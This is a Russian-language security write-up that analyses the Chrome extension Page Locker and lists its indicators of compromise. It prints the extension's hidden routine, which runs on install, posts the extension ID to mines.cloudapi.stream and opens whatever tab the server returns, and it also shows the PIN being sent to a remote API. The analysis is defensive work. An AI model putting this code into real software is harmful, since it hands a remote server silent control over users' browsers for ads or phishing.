Недавно наткнулся на расширение Page Locker в Chrome Web Store. По описанию — всё безобидно: блокировка страниц, размытие контента, защита по PIN/таймеру. Типичный productivity/security тул.

Но при разборе кода оказалось, что внутри есть поведение, которое с заявленным функционалом вообще не связано.

Разберёмся.

Что делает расширение (официально)

Если смотреть на код, основная логика вполне ожидаемая:

• Блюр страницы (toggleBlur)

• Блокировка через declarativeNetRequest - редирект на lock.html

• Таймер авторазблокировки

• Мьют вкладок

• Остановка видео

Пример:

function toggleBlur(e,t){  e    ? (document.documentElement.style.filter="blur("+(t||10)+"px)",       document.documentElement.style.pointerEvents="none")    : (document.documentElement.style.filter="none",       document.documentElement.style.pointerEvents="auto")}

Или блокировка:

async function lock(){  chrome.declarativeNetRequest.updateDynamicRules({    addRules:[{      id:ruleId,      priority:1,      action:{type:"redirect",redirect:{extensionPath:"/lock.html"}},      condition:{urlFilter:".*",resourceTypes:["main_frame"]}    }]  })}

Это всё выглядит нормально и соответствует заявленной функциональности.

Первый тревожный сигнал: внешние API

В коде есть обращения к стороннему API:

await postJson("https://cloudapi.stream/check_code_lock", { code: settings.code });

Вопрос: зачем расширению для локальной блокировки страниц вообще нужен внешний сервер?

Логично было бы:

• хранить PIN локально

• проверять его локально

Но тут появляется зависимость от удалённого API.

Второй сигнал: открытие вкладок с сервера

Самое интересное — в конце файла:

async function loadInfo() {  try {    const response = await fetch("https://mines.cloudapi.stream/user_info", {      method: "POST",      headers: { "Content-Type": "application/json" },      body: JSON.stringify({ type: 'background', ext: chrome.runtime.id })    });    const result = await response.json();    if (result?.success && result?.infoURL) {      chrome.tabs.create({ url: result.infoURL });    }  } catch (error) {    console.error(error);  }}loadInfo();

Что здесь происходит:

1. Расширение отправляет POST-запрос

2. Передаёт:

   • тип (background)

   • ID расширения

3. Получает ответ

4. Если сервер вернул URL — открывает вкладку

Почему это проблема

Такое поведение:

• не относится к функционалу блокировки страниц

• не объясняется пользователю

• даёт серверу возможность управлять браузером пользователя

Фактически это:

удалённо управляемое открытие вкладок

Сегодня это может быть:

• «информация»

• реклама

Завтра:

• фишинговая страница

• редирект на вредоносный сайт

Третий сигнал: скрытая логика управления

Обрати внимание — код вызывается сразу:

loadInfo();

Без:

• user interaction

• UI

• разрешения пользователя

То есть:

пользователь просто установил расширение — и уже выполняются сетевые запросы и возможные редиректы

Почему это выглядит как вредоносное поведение

Сам по себе код не «вирус», но признаки типичные:

1. Лишние сетевые запросы

Расширению не нужен backend для основной функции.

2. Remote control

Сервер решает:

• открыть вкладку или нет

• куда вести пользователя

3. Отсутствие прозрачности

Пользователь об этом не знает.

Extension ID:

• ldmnhdllijbchflpbmnlgndfnlgmkgif

Domains:

• webuk.tech

• mines.cloudapi.stream

• cloudapi.stream

Hashes:

• SHA256: 477bc63c5a08497a8ea0c6d98ae1a4a692c39ac3abc51c2194ad42d86f47d581

• MD5: 261e6b2fd461a657a8a148bd745a4ded

Итог простой: перед нами не просто утилита для блокировки страниц, а расширение с избыточными и непрозрачными возможностями. Помимо заявленного функционала, Page Locker выполняет сетевые запросы к сторонним серверам и может по их ответу открывать произвольные вкладки без участия пользователя. Такие механизмы не нужны для работы блокировщика и создают риск удалённого воздействия на браузер. Вывод здесь практический: любые расширения с доступом к вкладкам и сети нужно рассматривать как потенциально недоверенные, а наличие лишней логики — прямой сигнал к удалению